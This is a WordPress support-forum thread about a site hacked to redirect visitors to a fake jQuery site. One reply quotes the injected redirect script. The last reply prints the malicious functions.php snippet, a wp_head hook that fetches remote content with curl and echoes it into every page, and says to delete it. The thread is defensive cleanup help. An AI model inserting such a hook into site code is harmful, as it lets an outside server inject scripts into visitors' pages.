Support » Fixing WordPress » URL suddenly redirecting to JQuery Website

  • MrParsons


    Sometime in the last few days, the URL of my site has decided to redirect to a JQuery site! I haven’t made any changes and have tried a server restore…

    My site is

    Any help would be much appreciated!!

Viewing 8 replies - 1 through 8 (of 8 total)
  • curtismchale


    I’d say you got hacked. When I quickly stop the page and view source I see this code.

    <script type="text/javascript">
  = "";

    That is doing the redirect and while the site may have jQuery in the URL that’s not a site from the people that write the jQuery library.

    The easiest way for you to clean it up is to pay for Sucuri. For 89.99 they’ll monitor the site for a year and clean up the hack.

    I know if you were paying me to do it, you’d just barely get an hour of my time at that price.



    I spotted that as well… Can I not just delete the code myself?

    Moderator Andrew Nevins


    Forum moderator

    MrParsons, you can resolve this yourself by following Codex’s guidelines.
    Codex was built by forum volunteers for these situations.

    Further references from Jan Dembowski on thread



    Thanks Andrew… I’ll check through the guidelines.

    I’m generally ok to work things through myself… However long they might take (usually they take me a long time)!



    I’m sure you could delete it yourself, but the problem may be bigger. There may be issues in multiple files. I’ve always found that Sucuri is worth my time and my clients time since they will clean up and scan all the time.



    Hey please help
    my blog
    is redirecting to I have used broadway theme. Please help me if anyone got the same theme and same problem.
    Thanks in advance



    It doesn’t seem to be redirecting at the moment. Have you changed theme?

    The solution is to remove following line from function.php

    if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');}

    I described it in details at my blog – WordPress problem

Viewing 8 replies - 1 through 8 (of 8 total)
  • The topic ‘URL suddenly redirecting to JQuery Website’ is closed to new replies.